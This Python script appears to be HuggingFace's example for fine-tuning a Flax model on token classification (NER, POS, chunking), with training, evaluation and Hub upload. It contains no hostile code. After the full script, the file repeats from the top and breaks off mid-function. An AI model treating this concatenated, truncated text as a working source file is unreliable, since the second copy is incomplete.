#!/usr/bin/env python # coding=utf-8 # Copyright 2021 The HuggingFace Inc. team. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Fine-tuning a 🤗 Flax Transformers model on token classification tasks (NER, POS, CHUNKS)""" import json import logging import os import random import sys import time from dataclasses import asdict, dataclass, field from enum import Enum from itertools import chain from pathlib import Path from typing import Any, Callable, Dict, Optional, Tuple import datasets import numpy as np from datasets import ClassLabel, load_dataset, load_metric from tqdm import tqdm import jax import jax.numpy as jnp import optax import transformers from flax import struct, traverse_util from flax.jax_utils import replicate, unreplicate from flax.training import train_state from flax.training.common_utils import get_metrics, onehot, shard from huggingface_hub import Repository from transformers import ( AutoConfig, AutoTokenizer, FlaxAutoModelForTokenClassification, HfArgumentParser, is_tensorboard_available, ) from transformers.utils import check_min_version, get_full_repo_name from transformers.utils.versions import require_version logger = logging.getLogger(__name__) # Will error if the minimal version of Transformers is not installed. Remove at your own risks. check_min_version("4.20.0.dev0") require_version("datasets>=1.8.0", "To fix: pip install -r examples/pytorch/token-classification/requirements.txt") Array = Any Dataset = datasets.arrow_dataset.Dataset PRNGKey = Any @dataclass class TrainingArguments: output_dir: str = field( metadata={"help": "The output directory where the model predictions and checkpoints will be written."}, ) overwrite_output_dir: bool = field( default=False, metadata={ "help": ( "Overwrite the content of the output directory. " "Use this to continue training if output_dir points to a checkpoint directory." ) }, ) do_train: bool = field(default=False, metadata={"help": "Whether to run training."}) do_eval: bool = field(default=False, metadata={"help": "Whether to run eval on the dev set."}) per_device_train_batch_size: int = field( default=8, metadata={"help": "Batch size per GPU/TPU core/CPU for training."} ) per_device_eval_batch_size: int = field( default=8, metadata={"help": "Batch size per GPU/TPU core/CPU for evaluation."} ) learning_rate: float = field(default=5e-5, metadata={"help": "The initial learning rate for AdamW."}) weight_decay: float = field(default=0.0, metadata={"help": "Weight decay for AdamW if we apply some."}) adam_beta1: float = field(default=0.9, metadata={"help": "Beta1 for AdamW optimizer"}) adam_beta2: float = field(default=0.999, metadata={"help": "Beta2 for AdamW optimizer"}) adam_epsilon: float = field(default=1e-8, metadata={"help": "Epsilon for AdamW optimizer."}) adafactor: bool = field(default=False, metadata={"help": "Whether or not to replace AdamW by Adafactor."}) num_train_epochs: float = field(default=3.0, metadata={"help": "Total number of training epochs to perform."}) warmup_steps: int = field(default=0, metadata={"help": "Linear warmup over warmup_steps."}) logging_steps: int = field(default=500, metadata={"help": "Log every X updates steps."}) save_steps: int = field(default=500, metadata={"help": "Save checkpoint every X updates steps."}) eval_steps: int = field(default=None, metadata={"help": "Run an evaluation every X steps."}) seed: int = field(default=42, metadata={"help": "Random seed that will be set at the beginning of training."}) push_to_hub: bool = field( default=False, metadata={"help": "Whether or not to upload the trained model to the model hub after training."} ) hub_model_id: str = field( default=None, metadata={"help": "The name of the repository to keep in sync with the local `output_dir`."} ) hub_token: str = field(default=None, metadata={"help": "The token to use to push to the Model Hub."}) def __post_init__(self): if self.output_dir is not None: self.output_dir = os.path.expanduser(self.output_dir) def to_dict(self): """ Serializes this instance while replace `Enum` by their values (for JSON serialization support). It obfuscates the token values by removing their value. """ d = asdict(self) for k, v in d.items(): if isinstance(v, Enum): d[k] = v.value if isinstance(v, list) and len(v) > 0 and isinstance(v[0], Enum): d[k] = [x.value for x in v] if k.endswith("_token"): d[k] = f"<{k.upper()}>" return d @dataclass class ModelArguments: """ Arguments pertaining to which model/config/tokenizer we are going to fine-tune from. """ model_name_or_path: str = field( metadata={"help": "Path to pretrained model or model identifier from huggingface.co/models"} ) config_name: Optional[str] = field( default=None, metadata={"help": "Pretrained config name or path if not the same as model_name"} ) tokenizer_name: Optional[str] = field( default=None, metadata={"help": "Pretrained tokenizer name or path if not the same as model_name"} ) cache_dir: Optional[str] = field( default=None, metadata={"help": "Where do you want to store the pretrained models downloaded from huggingface.co"}, ) model_revision: str = field( default="main", metadata={"help": "The specific model version to use (can be a branch name, tag name or commit id)."}, ) use_auth_token: bool = field( default=False, metadata={ "help": ( "Will use the token generated when running `transformers-cli login` (necessary to use this script " "with private models)." ) }, ) @dataclass class DataTrainingArguments: """ Arguments pertaining to what data we are going to input our model for training and eval. """ task_name: Optional[str] = field(default="ner", metadata={"help": "The name of the task (ner, pos...)."}) dataset_name: Optional[str] = field( default=None, metadata={"help": "The name of the dataset to use (via the datasets library)."} ) dataset_config_name: Optional[str] = field( default=None, metadata={"help": "The configuration name of the dataset to use (via the datasets library)."} ) train_file: Optional[str] = field( default=None, metadata={"help": "The input training data file (a csv or JSON file)."} ) validation_file: Optional[str] = field( default=None, metadata={"help": "An optional input evaluation data file to evaluate on (a csv or JSON file)."}, ) test_file: Optional[str] = field( default=None, metadata={"help": "An optional input test data file to predict on (a csv or JSON file)."}, ) text_column_name: Optional[str] = field( default=None, metadata={"help": "The column name of text to input in the file (a csv or JSON file)."} ) label_column_name: Optional[str] = field( default=None, metadata={"help": "The column name of label to input in the file (a csv or JSON file)."} ) overwrite_cache: bool = field( default=False, metadata={"help": "Overwrite the cached training and evaluation sets"} ) preprocessing_num_workers: Optional[int] = field( default=None, metadata={"help": "The number of processes to use for the preprocessing."}, ) max_seq_length: int = field( default=None, metadata={ "help": ( "The maximum total input sequence length after tokenization. If set, sequences longer " "than this will be truncated, sequences shorter will be padded." ) }, ) max_train_samples: Optional[int] = field( default=None, metadata={ "help": ( "For debugging purposes or quicker training, truncate the number of training examples to this " "value if set." ) }, ) max_eval_samples: Optional[int] = field( default=None, metadata={ "help": ( "For debugging purposes or quicker training, truncate the number of evaluation examples to this " "value if set." ) }, ) max_predict_samples: Optional[int] = field( default=None, metadata={ "help": ( "For debugging purposes or quicker training, truncate the number of prediction examples to this " "value if set." ) }, ) label_all_tokens: bool = field( default=False, metadata={ "help": ( "Whether to put the label for one word on all tokens of generated by that word or just on the " "one (in which case the other tokens will have a padding index)." ) }, ) return_entity_level_metrics: bool = field( default=False, metadata={"help": "Whether to return all the entity levels during evaluation or just the overall ones."}, ) def __post_init__(self): if self.dataset_name is None and self.train_file is None and self.validation_file is None: raise ValueError("Need either a dataset name or a training/validation file.") else: if self.train_file is not None: extension = self.train_file.split(".")[-1] assert extension in ["csv", "json"], "`train_file` should be a csv or a json file." if self.validation_file is not None: extension = self.validation_file.split(".")[-1] assert extension in ["csv", "json"], "`validation_file` should be a csv or a json file." self.task_name = self.task_name.lower() def create_train_state( model: FlaxAutoModelForTokenClassification, learning_rate_fn: Callable[[int], float], num_labels: int, training_args: TrainingArguments, ) -> train_state.TrainState: """Create initial training state.""" class TrainState(train_state.TrainState): """Train state with an Optax optimizer. The two functions below differ depending on whether the task is classification or regression. Args: logits_fn: Applied to last layer to obtain the logits. loss_fn: Function to compute the loss. """ logits_fn: Callable = struct.field(pytree_node=False) loss_fn: Callable = struct.field(pytree_node=False) # We use Optax's "masking" functionality to not apply weight decay # to bias and LayerNorm scale parameters. decay_mask_fn returns a # mask boolean with the same structure as the parameters. # The mask is True for parameters that should be decayed. # Note that this mask is specifically adapted for FlaxBERT-like models. # For other models, one should correct the layer norm parameter naming # accordingly. def decay_mask_fn(params): flat_params = traverse_util.flatten_dict(params) flat_mask = {path: (path[-1] != "bias" and path[-2:] != ("LayerNorm", "scale")) for path in flat_params} return traverse_util.unflatten_dict(flat_mask) tx = optax.adamw( learning_rate=learning_rate_fn, b1=training_args.adam_beta1, b2=training_args.adam_beta2, eps=training_args.adam_epsilon, weight_decay=training_args.weight_decay, mask=decay_mask_fn, ) def cross_entropy_loss(logits, labels): xentropy = optax.softmax_cross_entropy(logits, onehot(labels, num_classes=num_labels)) return jnp.mean(xentropy) return TrainState.create( apply_fn=model.__call__, params=model.params, tx=tx, logits_fn=lambda logits: logits.argmax(-1), loss_fn=cross_entropy_loss, ) def create_learning_rate_fn( train_ds_size: int, train_batch_size: int, num_train_epochs: int, num_warmup_steps: int, learning_rate: float ) -> Callable[[int], jnp.array]: """Returns a linear warmup, linear_decay learning rate function.""" steps_per_epoch = train_ds_size // train_batch_size num_train_steps = steps_per_epoch * num_train_epochs warmup_fn = optax.linear_schedule(init_value=0.0, end_value=learning_rate, transition_steps=num_warmup_steps) decay_fn = optax.linear_schedule( init_value=learning_rate, end_value=0, transition_steps=num_train_steps - num_warmup_steps ) schedule_fn = optax.join_schedules(schedules=[warmup_fn, decay_fn], boundaries=[num_warmup_steps]) return schedule_fn def train_data_collator(rng: PRNGKey, dataset: Dataset, batch_size: int): """Returns shuffled batches of size `batch_size` from truncated `train dataset`, sharded over all local devices.""" steps_per_epoch = len(dataset) // batch_size perms = jax.random.permutation(rng, len(dataset)) perms = perms[: steps_per_epoch * batch_size] # Skip incomplete batch. perms = perms.reshape((steps_per_epoch, batch_size)) for perm in perms: batch = dataset[perm] batch = {k: np.array(v) for k, v in batch.items()} batch = shard(batch) yield batch def eval_data_collator(dataset: Dataset, batch_size: int): """Returns batches of size `batch_size` from `eval dataset`, sharded over all local devices.""" for i in range(len(dataset) // batch_size): batch = dataset[i * batch_size : (i + 1) * batch_size] batch = {k: np.array(v) for k, v in batch.items()} batch = shard(batch) yield batch def main(): # See all possible arguments in src/transformers/training_args.py # or by passing the --help flag to this script. # We now keep distinct sets of args, for a cleaner separation of concerns. parser = HfArgumentParser((ModelArguments, DataTrainingArguments, TrainingArguments)) if len(sys.argv) == 2 and sys.argv[1].endswith(".json"): # If we pass only one argument to the script and it's the path to a json file, # let's parse it to get our arguments. model_args, data_args, training_args = parser.parse_json_file(json_file=os.path.abspath(sys.argv[1])) else: model_args, data_args, training_args = parser.parse_args_into_dataclasses() # Make one log on every process with the configuration for debugging. logging.basicConfig( format="%(asctime)s - %(levelname)s - %(name)s - %(message)s", datefmt="%m/%d/%Y %H:%M:%S", level=logging.INFO, ) # Setup logging, we only want one process per machine to log things on the screen. logger.setLevel(logging.INFO if jax.process_index() == 0 else logging.ERROR) if jax.process_index() == 0: datasets.utils.logging.set_verbosity_warning() transformers.utils.logging.set_verbosity_info() else: datasets.utils.logging.set_verbosity_error() transformers.utils.logging.set_verbosity_error() # Handle the repository creation if training_args.push_to_hub: if training_args.hub_model_id is None: repo_name = get_full_repo_name( Path(training_args.output_dir).absolute().name, token=training_args.hub_token ) else: repo_name = training_args.hub_model_id repo = Repository(training_args.output_dir, clone_from=repo_name) # Get the datasets: you can either provide your own CSV/JSON/TXT training and evaluation files (see below) # or just provide the name of one of the public datasets for token classification task available on the hub at https://huggingface.co/datasets/ # (the dataset will be downloaded automatically from the datasets Hub). # # For CSV/JSON files, this script will use the column called 'tokens' or the first column if no column called # 'tokens' is found. You can easily tweak this behavior (see below). # # In distributed training, the load_dataset function guarantee that only one local process can concurrently # download the dataset. if data_args.dataset_name is not None: # Downloading and loading a dataset from the hub. raw_datasets = load_dataset( data_args.dataset_name, data_args.dataset_config_name, cache_dir=model_args.cache_dir, use_auth_token=True if model_args.use_auth_token else None, ) else: # Loading the dataset from local csv or json file. data_files = {} if data_args.train_file is not None: data_files["train"] = data_args.train_file if data_args.validation_file is not None: data_files["validation"] = data_args.validation_file extension = (data_args.train_file if data_args.train_file is not None else data_args.valid_file).split(".")[-1] raw_datasets = load_dataset( extension, data_files=data_files, cache_dir=model_args.cache_dir, use_auth_token=True if model_args.use_auth_token else None, ) # See more about loading any type of standard or custom dataset at # https://huggingface.co/docs/datasets/loading_datasets.html. if raw_datasets["train"] is not None: column_names = raw_datasets["train"].column_names features = raw_datasets["train"].features else: column_names = raw_datasets["validation"].column_names features = raw_datasets["validation"].features if data_args.text_column_name is not None: text_column_name = data_args.text_column_name elif "tokens" in column_names: text_column_name = "tokens" else: text_column_name = column_names[0] if data_args.label_column_name is not None: label_column_name = data_args.label_column_name elif f"{data_args.task_name}_tags" in column_names: label_column_name = f"{data_args.task_name}_tags" else: label_column_name = column_names[1] # In the event the labels are not a `Sequence[ClassLabel]`, we will need to go through the dataset to get the # unique labels. def get_label_list(labels): unique_labels = set() for label in labels: unique_labels = unique_labels | set(label) label_list = list(unique_labels) label_list.sort() return label_list if isinstance(features[label_column_name].feature, ClassLabel): label_list = features[label_column_name].feature.names # No need to convert the labels since they are already ints. label_to_id = {i: i for i in range(len(label_list))} else: label_list = get_label_list(raw_datasets["train"][label_column_name]) label_to_id = {l: i for i, l in enumerate(label_list)} num_labels = len(label_list) # Load pretrained model and tokenizer config = AutoConfig.from_pretrained( model_args.config_name if model_args.config_name else model_args.model_name_or_path, num_labels=num_labels, label2id=label_to_id, id2label={i: l for l, i in label_to_id.items()}, finetuning_task=data_args.task_name, cache_dir=model_args.cache_dir, revision=model_args.model_revision, use_auth_token=True if model_args.use_auth_token else None, ) tokenizer_name_or_path = model_args.tokenizer_name if model_args.tokenizer_name else model_args.model_name_or_path if config.model_type in {"gpt2", "roberta"}: tokenizer = AutoTokenizer.from_pretrained( tokenizer_name_or_path, cache_dir=model_args.cache_dir, revision=model_args.model_revision, use_auth_token=True if model_args.use_auth_token else None, add_prefix_space=True, ) else: tokenizer = AutoTokenizer.from_pretrained( tokenizer_name_or_path, cache_dir=model_args.cache_dir, revision=model_args.model_revision, use_auth_token=True if model_args.use_auth_token else None, ) model = FlaxAutoModelForTokenClassification.from_pretrained( model_args.model_name_or_path, config=config, cache_dir=model_args.cache_dir, revision=model_args.model_revision, use_auth_token=True if model_args.use_auth_token else None, ) # Preprocessing the datasets # Tokenize all texts and align the labels with them. def tokenize_and_align_labels(examples): tokenized_inputs = tokenizer( examples[text_column_name], max_length=data_args.max_seq_length, padding="max_length", truncation=True, # We use this argument because the texts in our dataset are lists of words (with a label for each word). is_split_into_words=True, ) labels = [] for i, label in enumerate(examples[label_column_name]): word_ids = tokenized_inputs.word_ids(batch_index=i) previous_word_idx = None label_ids = [] for word_idx in word_ids: # Special tokens have a word id that is None. We set the label to -100 so they are automatically # ignored in the loss function. if word_idx is None: label_ids.append(-100) # We set the label for the first token of each word. elif word_idx != previous_word_idx: label_ids.append(label_to_id[label[word_idx]]) # For the other tokens in a word, we set the label to either the current label or -100, depending on # the label_all_tokens flag. else: label_ids.append(label_to_id[label[word_idx]] if data_args.label_all_tokens else -100) previous_word_idx = word_idx labels.append(label_ids) tokenized_inputs["labels"] = labels return tokenized_inputs processed_raw_datasets = raw_datasets.map( tokenize_and_align_labels, batched=True, num_proc=data_args.preprocessing_num_workers, load_from_cache_file=not data_args.overwrite_cache, remove_columns=raw_datasets["train"].column_names, desc="Running tokenizer on dataset", ) train_dataset = processed_raw_datasets["train"] eval_dataset = processed_raw_datasets["validation"] # Log a few random samples from the training set: for index in random.sample(range(len(train_dataset)), 3): logger.info(f"Sample {index} of the training set: {train_dataset[index]}.") # Define a summary writer has_tensorboard = is_tensorboard_available() if has_tensorboard and jax.process_index() == 0: try: from flax.metrics.tensorboard import SummaryWriter summary_writer = SummaryWriter(training_args.output_dir) summary_writer.hparams({**training_args.to_dict(), **vars(model_args), **vars(data_args)}) except ImportError as ie: has_tensorboard = False logger.warning( f"Unable to display metrics through TensorBoard because some package are not installed: {ie}" ) else: logger.warning( "Unable to display metrics through TensorBoard because the package is not installed: " "Please run pip install tensorboard to enable." ) def write_train_metric(summary_writer, train_metrics, train_time, step): summary_writer.scalar("train_time", train_time, step) train_metrics = get_metrics(train_metrics) for key, vals in train_metrics.items(): tag = f"train_{key}" for i, val in enumerate(vals): summary_writer.scalar(tag, val, step - len(vals) + i + 1) def write_eval_metric(summary_writer, eval_metrics, step): for metric_name, value in eval_metrics.items(): summary_writer.scalar(f"eval_{metric_name}", value, step) num_epochs = int(training_args.num_train_epochs) rng = jax.random.PRNGKey(training_args.seed) dropout_rngs = jax.random.split(rng, jax.local_device_count()) train_batch_size = training_args.per_device_train_batch_size * jax.local_device_count() eval_batch_size = training_args.per_device_eval_batch_size * jax.local_device_count() learning_rate_fn = create_learning_rate_fn( len(train_dataset), train_batch_size, training_args.num_train_epochs, training_args.warmup_steps, training_args.learning_rate, ) state = create_train_state(model, learning_rate_fn, num_labels=num_labels, training_args=training_args) # define step functions def train_step( state: train_state.TrainState, batch: Dict[str, Array], dropout_rng: PRNGKey ) -> Tuple[train_state.TrainState, float]: """Trains model with an optimizer (both in `state`) on `batch`, returning a pair `(new_state, loss)`.""" dropout_rng, new_dropout_rng = jax.random.split(dropout_rng) targets = batch.pop("labels") def loss_fn(params): logits = state.apply_fn(**batch, params=params, dropout_rng=dropout_rng, train=True)[0] loss = state.loss_fn(logits, targets) return loss grad_fn = jax.value_and_grad(loss_fn) loss, grad = grad_fn(state.params) grad = jax.lax.pmean(grad, "batch") new_state = state.apply_gradients(grads=grad) metrics = jax.lax.pmean({"loss": loss, "learning_rate": learning_rate_fn(state.step)}, axis_name="batch") return new_state, metrics, new_dropout_rng p_train_step = jax.pmap(train_step, axis_name="batch", donate_argnums=(0,)) def eval_step(state, batch): logits = state.apply_fn(**batch, params=state.params, train=False)[0] return state.logits_fn(logits) p_eval_step = jax.pmap(eval_step, axis_name="batch") metric = load_metric("seqeval") def get_labels(y_pred, y_true): # Transform predictions and references tensos to numpy arrays # Remove ignored index (special tokens) true_predictions = [ [label_list[p] for (p, l) in zip(pred, gold_label) if l != -100] for pred, gold_label in zip(y_pred, y_true) ] true_labels = [ [label_list[l] for (p, l) in zip(pred, gold_label) if l != -100] for pred, gold_label in zip(y_pred, y_true) ] return true_predictions, true_labels def compute_metrics(): results = metric.compute() if data_args.return_entity_level_metrics: # Unpack nested dictionaries final_results = {} for key, value in results.items(): if isinstance(value, dict): for n, v in value.items(): final_results[f"{key}_{n}"] = v else: final_results[key] = value return final_results else: return { "precision": results["overall_precision"], "recall": results["overall_recall"], "f1": results["overall_f1"], "accuracy": results["overall_accuracy"], } logger.info(f"===== Starting training ({num_epochs} epochs) =====") train_time = 0 # make sure weights are replicated on each device state = replicate(state) train_time = 0 step_per_epoch = len(train_dataset) // train_batch_size total_steps = step_per_epoch * num_epochs epochs = tqdm(range(num_epochs), desc=f"Epoch ... (1/{num_epochs})", position=0) for epoch in epochs: train_start = time.time() train_metrics = [] # Create sampling rng rng, input_rng = jax.random.split(rng) # train for step, batch in enumerate( tqdm( train_data_collator(input_rng, train_dataset, train_batch_size), total=step_per_epoch, desc="Training...", position=1, ) ): state, train_metric, dropout_rngs = p_train_step(state, batch, dropout_rngs) train_metrics.append(train_metric) cur_step = (epoch * step_per_epoch) + (step + 1) if cur_step % training_args.logging_steps == 0 and cur_step > 0: # Save metrics train_metric = unreplicate(train_metric) train_time += time.time() - train_start if has_tensorboard and jax.process_index() == 0: write_train_metric(summary_writer, train_metrics, train_time, cur_step) epochs.write( f"Step... ({cur_step}/{total_steps} | Training Loss: {train_metric["loss"]}, Learning Rate:" f" {train_metric["learning_rate"]})" ) train_metrics = [] if cur_step % training_args.eval_steps == 0 and cur_step > 0: eval_metrics = {} # evaluate for batch in tqdm( eval_data_collator(eval_dataset, eval_batch_size), total=len(eval_dataset) // eval_batch_size, desc="Evaluating ...", position=2, ): labels = batch.pop("labels") predictions = p_eval_step(state, batch) predictions = np.array([pred for pred in chain(*predictions)]) labels = np.array([label for label in chain(*labels)]) labels[np.array(chain(*batch["attention_mask"])) == 0] = -100 preds, refs = get_labels(predictions, labels) metric.add_batch( predictions=preds, references=refs, ) # evaluate also on leftover examples (not divisible by batch_size) num_leftover_samples = len(eval_dataset) % eval_batch_size # make sure leftover batch is evaluated on one device if num_leftover_samples > 0 and jax.process_index() == 0: # take leftover samples batch = eval_dataset[-num_leftover_samples:] batch = {k: np.array(v) for k, v in batch.items()} labels = batch.pop("labels") predictions = eval_step(unreplicate(state), batch) labels = np.array(labels) labels[np.array(batch["attention_mask"]) == 0] = -100 preds, refs = get_labels(predictions, labels) metric.add_batch( predictions=preds, references=refs, ) eval_metrics = compute_metrics() if data_args.return_entity_level_metrics: logger.info(f"Step... ({cur_step}/{total_steps} | Validation metrics: {eval_metrics}") else: logger.info( f"Step... ({cur_step}/{total_steps} | Validation f1: {eval_metrics["f1"]}, Validation Acc:" f" {eval_metrics["accuracy"]})" ) if has_tensorboard and jax.process_index() == 0: write_eval_metric(summary_writer, eval_metrics, cur_step) if (cur_step % training_args.save_steps == 0 and cur_step > 0) or (cur_step == total_steps): # save checkpoint after each epoch and push checkpoint to the hub if jax.process_index() == 0: params = jax.device_get(unreplicate(state.params)) model.save_pretrained(training_args.output_dir, params=params) tokenizer.save_pretrained(training_args.output_dir) if training_args.push_to_hub: repo.push_to_hub(commit_message=f"Saving weights and logs of step {cur_step}", blocking=False) epochs.desc = f"Epoch ... {epoch + 1}/{num_epochs}" # Eval after training if training_args.do_eval: eval_metrics = {} eval_loader = eval_data_collator(eval_dataset, eval_batch_size) for batch in tqdm(eval_loader, total=len(eval_dataset) // eval_batch_size, desc="Evaluating ...", position=2): labels = batch.pop("labels") predictions = p_eval_step(state, batch) predictions = np.array([pred for pred in chain(*predictions)]) labels = np.array([label for label in chain(*labels)]) labels[np.array(chain(*batch["attention_mask"])) == 0] = -100 preds, refs = get_labels(predictions, labels) metric.add_batch(predictions=preds, references=refs) # evaluate also on leftover examples (not divisible by batch_size) num_leftover_samples = len(eval_dataset) % eval_batch_size # make sure leftover batch is evaluated on one device if num_leftover_samples > 0 and jax.process_index() == 0: # take leftover samples batch = eval_dataset[-num_leftover_samples:] batch = {k: np.array(v) for k, v in batch.items()} labels = np.array(batch.pop("labels")) predictions = eval_step(unreplicate(state), batch) labels[np.array(batch["attention_mask"]) == 0] = -100 preds, refs = get_labels(predictions, labels) metric.add_batch(predictions=preds, references=refs) eval_metrics = compute_metrics() if jax.process_index() == 0: eval_metrics = {f"eval_{metric_name}": value for metric_name, value in eval_metrics.items()} path = os.path.join(training_args.output_dir, "eval_results.json") with open(path, "w") as f: json.dump(eval_metrics, f, indent=4, sort_keys=True) if __name__ == "__main__": main()
#!/usr/bin/env python # coding=utf-8 # Copyright 2021 The HuggingFace Inc. team. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Fine-tuning a 🤗 Flax Transformers model on token classification tasks (NER, POS, CHUNKS)""" import json import logging import os import random import sys import time from dataclasses import asdict, dataclass, field from enum import Enum from itertools import chain from pathlib import Path from typing import Any, Callable, Dict, Optional, Tuple import datasets import numpy as np from datasets import ClassLabel, load_dataset, load_metric from tqdm import tqdm import jax import jax.numpy as jnp import optax import transformers from flax import struct, traverse_util from flax.jax_utils import replicate, unreplicate from flax.training import train_state from flax.training.common_utils import get_metrics, onehot, shard from huggingface_hub import Repository from transformers import ( AutoConfig, AutoTokenizer, FlaxAutoModelForTokenClassification, HfArgumentParser, is_tensorboard_available, ) from transformers.utils import check_min_version, get_full_repo_name from transformers.utils.versions import require_version logger = logging.getLogger(__name__) # Will error if the minimal version of Transformers is not installed. Remove at your own risks. check_min_version("4.20.0.dev0") require_version("datasets>=1.8.0", "To fix: pip install -r examples/pytorch/token-classification/requirements.txt") Array = Any Dataset = datasets.arrow_dataset.Dataset PRNGKey = Any @dataclass class TrainingArguments: output_dir: str = field( metadata={"help": "The output directory where the model predictions and checkpoints will be written."}, ) overwrite_output_dir: bool = field( default=False, metadata={ "help": ( "Overwrite the content of the output directory. " "Use this to continue training if output_dir points to a checkpoint directory." ) }, ) do_train: bool = field(default=False, metadata={"help": "Whether to run training."}) do_eval: bool = field(default=False, metadata={"help": "Whether to run eval on the dev set."}) per_device_train_batch_size: int = field( default=8, metadata={"help": "Batch size per GPU/TPU core/CPU for training."} ) per_device_eval_batch_size: int = field( default=8, metadata={"help": "Batch size per GPU/TPU core/CPU for evaluation."} ) learning_rate: float = field(default=5e-5, metadata={"help": "The initial learning rate for AdamW."}) weight_decay: float = field(default=0.0, metadata={"help": "Weight decay for AdamW if we apply some."}) adam_beta1: float = field(default=0.9, metadata={"help": "Beta1 for AdamW optimizer"}) adam_beta2: float = field(default=0.999, metadata={"help": "Beta2 for AdamW optimizer"}) adam_epsilon: float = field(default=1e-8, metadata={"help": "Epsilon for AdamW optimizer."}) adafactor: bool = field(default=False, metadata={"help": "Whether or not to replace AdamW by Adafactor."}) num_train_epochs: float = field(default=3.0, metadata={"help": "Total number of training epochs to perform."}) warmup_steps: int = field(default=0, metadata={"help": "Linear warmup over warmup_steps."}) logging_steps: int = field(default=500, metadata={"help": "Log every X updates steps."}) save_steps: int = field(default=500, metadata={"help": "Save checkpoint every X updates steps."}) eval_steps: int = field(default=None, metadata={"help": "Run an evaluation every X steps."}) seed: int = field(default=42, metadata={"help": "Random seed that will be set at the beginning of training."}) push_to_hub: bool = field( default=False, metadata={"help": "Whether or not to upload the trained model to the model hub after training."} ) hub_model_id: str = field( default=None, metadata={"help": "The name of the repository to keep in sync with the local `output_dir`."} ) hub_token: str = field(default=None, metadata={"help": "The token to use to push to the Model Hub."}) def __post_init__(self): if self.output_dir is not None: self.output_dir = os.path.expanduser(self.output_dir) def to_dict(self): """ Serializes this instance while replace `Enum` by their values (for JSON serialization support). It obfuscates the token values by removing their value. """ d = asdict(self) for k, v in d.items(): if isinstance(v, Enum): d[k] = v.value if isinstance(v, list) and len(v) > 0 and isinstance(v[0], Enum): d[k] = [x.value for x in v] if k.endswith("_token"): d[k] = f"<{k.upper()}>" return d @dataclass class ModelArguments: """ Arguments pertaining to which model/config/tokenizer we are going to fine-tune from. """ model_name_or_path: str = field( metadata={"help": "Path to pretrained model or model identifier from huggingface.co/models"} ) config_name: Optional[str] = field( default=None, metadata={"help": "Pretrained config name or path if not the same as model_name"} ) tokenizer_name: Optional[str] = field( default=None, metadata={"help": "Pretrained tokenizer name or path if not the same as model_name"} ) cache_dir: Optional[str] = field( default=None, metadata={"help": "Where do you want to store the pretrained models downloaded from huggingface.co"}, ) model_revision: str = field( default="main", metadata={"help": "The specific model version to use (can be a branch name, tag name or commit id)."}, ) use_auth_token: bool = field( default=False, metadata={ "help": ( "Will use the token generated when running `transformers-cli login` (necessary to use this script " "with private models)." ) }, ) @dataclass class DataTrainingArguments: """ Arguments pertaining to what data we are going to input our model for training and eval. """ task_name: Optional[str] = field(default="ner", metadata={"help": "The name of the task (ner, pos...)."}) dataset_name: Optional[str] = field( default=None, metadata={"help": "The name of the dataset to use (via the datasets library)."} ) dataset_config_name: Optional[str] = field( default=None, metadata={"help": "The configuration name of the dataset to use (via the datasets library)."} ) train_file: Optional[str] = field( default=None, metadata={"help": "The input training data file (a csv or JSON file)."} ) validation_file: Optional[str] = field( default=None, metadata={"help": "An optional input evaluation data file to evaluate on (a csv or JSON file)."}, ) test_file: Optional[str] = field( default=None, metadata={"help": "An optional input test data file to predict on (a csv or JSON file)."}, ) text_column_name: Optional[str] = field( default=None, metadata={"help": "The column name of text to input in the file (a csv or JSON file)."} ) label_column_name: Optional[str] = field( default=None, metadata={"help": "The column name of label to input in the file (a csv or JSON file)."} ) overwrite_cache: bool = field( default=False, metadata={"help": "Overwrite the cached training and evaluation sets"} ) preprocessing_num_workers: Optional[int] = field( default=None, metadata={"help": "The number of processes to use for the preprocessing."}, ) max_seq_length: int = field( default=None, metadata={ "help": ( "The maximum total input sequence length after tokenization. If set, sequences longer " "than this will be truncated, sequences shorter will be padded." ) }, ) max_train_samples: Optional[int] = field( default=None, metadata={ "help": ( "For debugging purposes or quicker training, truncate the number of training examples to this " "value if set." ) }, ) max_eval_samples: Optional[int] = field( default=None, metadata={ "help": ( "For debugging purposes or quicker training, truncate the number of evaluation examples to this " "value if set." ) }, ) max_predict_samples: Optional[int] = field( default=None, metadata={ "help": ( "For debugging purposes or quicker training, truncate the number of prediction examples to this " "value if set." ) }, ) label_all_tokens: bool = field( default=False, metadata={ "help": ( "Whether to put the label for one word on all tokens of generated by that word or just on the " "one (in which case the other tokens will have a padding index)." ) }, ) return_entity_level_metrics: bool = field( default=False, metadata={"help": "Whether to return all the entity levels during evaluation or just the overall ones."}, ) def __post_init__(self): if self.dataset_name is None and self.train_file is None and self.validation_file is None: raise ValueError("Need either a dataset name or a training/validation file.") else: if self.train_file is not None: extension = self.train_file.split(".")[-1] assert extension in ["csv", "json"], "`train_file` should be a csv or a json file." if self.validation_file is not None: extension = self.validation_file.split(".")[-1] assert extension in ["csv", "json"], "`validation_file` should be a csv or a json file." self.task_name = self.task_name.lower() def create_train_state( model: FlaxAutoModelForTokenClassification, learning_rate_fn: Callable[[int], float], num_labels: int, training_args: TrainingArguments, ) -> train_state.TrainState: """Create initial training state.""" class TrainState(train_state.TrainState): """Train state with an Optax optimizer. The two functions below differ depending on whether the task is classification or regression. Args: logits_fn: Applied to last layer to obtain the logits. loss_fn: Function to compute the loss. """ logits_fn: Callable = struct.field(pytree_node=False) loss_fn: Callable = struct.field(pytree_node=False) # We use Optax's "masking" functionality to not apply weight decay # to bias and LayerNorm scale parameters. decay_mask_fn returns a # mask boolean with the same structure as the parameters. # The mask is True for parameters that should be decayed. # Note that this mask is specifically adapted for FlaxBERT-like models. # For other models, one should correct the layer norm parameter naming # accordingly. def decay_mask_fn(params): flat_params = traverse_util.flatten_dict(params) flat_mask = {path: (path[-1] != "bias" and path[-2:] != ("LayerNorm", "scale")) for path in flat_params} return traverse_util.unflatten_dict(flat_mask) tx = optax.adamw( learning_rate=learning_rate_fn, 